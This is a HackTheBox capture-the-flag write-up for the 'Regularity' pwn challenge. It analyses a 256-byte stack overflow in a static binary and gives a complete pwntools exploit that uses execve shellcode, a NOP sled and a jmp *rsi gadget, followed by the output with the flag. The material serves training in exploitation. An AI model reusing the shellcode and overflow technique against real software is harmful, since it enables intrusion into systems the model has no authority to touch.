Regularity
hackthebox
Task: Exploit a minimal static x86-64 binary with executable stack and no canary. Solution: Overflow a 256-byte buffer via 272-byte read to overwrite the return address with a jmp *rsi gadget at 0x401041, which jumps to shellcode placed at the buffer start since RSI is preserved after the read syscall.
$ ls tags/ techniques/
Regularity - HackTheBox
Description
Nothing much changes from day to day. Famine, conflict, hatred - it's all part and parcel of the lives we live now. We've grown used to the animosity that we experience every day, and that's why it's so nice to have a useful program that asks how I'm doing. It's not the most talkative, though, but it's the highest level of tech most of us will ever see...
Remote: nc 94.237.61.248 42609
Files
regularity- ELF 64-bit LSB executable, x86-64, statically linked, not strippedflag.txt- Fake flag for local testing
Analysis
Binary Properties
$ checksec regularity
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
Key observations:
- No stack canary - buffer overflow possible
- Executable stack - shellcode execution possible
- No PIE - fixed addresses, gadgets at known locations
- Statically linked - minimal attack surface but predictable layout
Disassembly
The binary is a minimal assembly program:
_start (0x401000): - Prints "Hello, Survivor. Anything new these days?" - Calls read function - Prints "Yup, same old same old here as well..." - Jumps to exit via jmp *rsi read (0x40104b): subq $0x100, %rsp # Allocate 256 bytes on stack movl $0x0, %eax # syscall number 0 (read) movl $0x0, %edi # fd = 0 (stdin) leaq (%rsp), %rsi # RSI = buffer address on stack movl $0x110, %edx # count = 272 bytes <-- VULNERABILITY! syscall addq $0x100, %rsp # Restore stack (256 bytes) ret # Return to caller write (0x401043): - Standard write syscall wrapper exit (0x40106f): - exit(0) syscall
Vulnerability
Classic stack buffer overflow in the read function:
| Stack Layout | Size |
|---|---|
| Buffer | 256 bytes (0x100) |
| Saved RBP | 8 bytes |
| Return Address | 8 bytes |
The function:
- Allocates 256 bytes on stack
- Reads 272 bytes (0x110) - 16 bytes overflow
- Overflow allows overwriting return address
Key Gadget
At address 0x401041 there's a powerful gadget:
0x401041: jmp *rsi
Why this matters:
- After the
readsyscall, RSI still points to our input buffer - Linux syscalls preserve RSI (it's a callee-saved register for syscalls)
- By returning to this gadget, we jump directly to our controlled buffer
Exploitation Strategy
+------------------+
| Shellcode | <- RSI points here after read
| (29 bytes) |
+------------------+
| NOP sled |
| (227 bytes) |
+------------------+
| jmp *rsi gadget | <- Return address (0x401041)
| (8 bytes) |
+------------------+
Flow: read() returns -> jmp *rsi -> shellcode executes
- Place shellcode at buffer start (where RSI points)
- Pad with NOPs to reach 256 bytes
- Overwrite return address with
jmp *rsigadget - On return, gadget executes, jumping to our shellcode
- Shellcode spawns
/bin/sh
Solution
#!/usr/bin/env python3 """ Regularity - HackTheBox PWN Stack buffer overflow with jmp *rsi gadget Vulnerability: read() allocates 256 bytes but reads 272 bytes Exploitation: Overwrite return address with jmp *rsi gadget to execute shellcode """ from pwn import * context.arch = 'amd64' context.log_level = 'info' # execve("/bin/sh") shellcode - 29 bytes # Source: shell-storm.org/shellcode/files/shellcode-905.html shellcode = ( b"\x6a\x42" # push 0x42 b"\x58" # pop rax b"\xfe\xc4" # inc ah (rax = 0x3b = execve) b"\x48\x99" # cqo (rdx = 0) b"\x52" # push rdx (null terminator) b"\x48\xbf\x2f\x62\x69" # movabs rdi, "/bin//sh" b"\x6e\x2f\x2f\x73\x68" b"\x57" # push rdi b"\x54" # push rsp b"\x5e" # pop rsi b"\x49\x89\xd0" # mov r8, rdx b"\x49\x89\xd2" # mov r10, rdx b"\x0f\x05" # syscall ) # Gadget: jmp *rsi at 0x401041 # After read syscall, RSI still points to our buffer JMP_RSI = 0x401041 def exploit(target): if target == 'local': p = process('./regularity') else: p = remote('94.237.61.248', 42609) # Build payload payload = shellcode # Shellcode at buffer start (29 bytes) payload = payload.ljust(256, b'\x90') # Pad to 256 bytes with NOPs payload += p64(JMP_RSI) # Overwrite return address log.info(f"Payload size: {len(payload)} bytes") log.info(f"Shellcode size: {len(shellcode)} bytes") log.info(f"Gadget address: {hex(JMP_RSI)}") # Send payload p.recvuntil(b'days?') p.send(payload) # Wait for shell sleep(0.5) # Get flag p.sendline(b'cat flag.txt') response = p.recvall(timeout=3) print(response.decode()) p.close() if __name__ == '__main__': import sys target = sys.argv[1] if len(sys.argv) > 1 else 'remote' exploit(target)
Execution
$ python3 solve.py remote [+] Opening connection to 94.237.61.248 on port 42609: Done [*] Payload size: 264 bytes [*] Shellcode size: 29 bytes [*] Gadget address: 0x401041 HTB{juMp1nG_w1tH_tH3_r3gIsT3rS?_c144acda6e91bbbabebe919c14ce1187}
Key Indicators
Use this technique when you see:
- Executable stack (NX disabled, RWX segments)
- No stack canary
- Buffer overflow with controlled size
- Register pointing to buffer after syscall/function call
jmp *regorcall *reggadgets available
Lessons Learned
-
Challenge name hint: "Regularity" refers to the predictable/regular state of registers after syscalls - RSI preservation is the key insight
-
Syscall register preservation: Linux syscalls preserve RSI, making it a reliable pointer to user-controlled data
-
Minimal binaries: Simple assembly programs often lack modern protections, making them ideal for learning classic exploitation techniques
-
Gadget hunting: Even tiny binaries can contain useful gadgets -
jmp *rsiis powerful when you control the buffer and know register state -
Static analysis first: Understanding the exact buffer sizes and read limits from disassembly is crucial for precise exploitation
References
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [pwn][free]Getting Started— hackthebox
- [pwn][free]Portaloo— hackthebox
- [pwn][Pro]Taste— grodno_new_year_2026
- [pwn][free]Labyrinth— HackTheBox
- [pwn][Pro]Bottoms Up— miptctf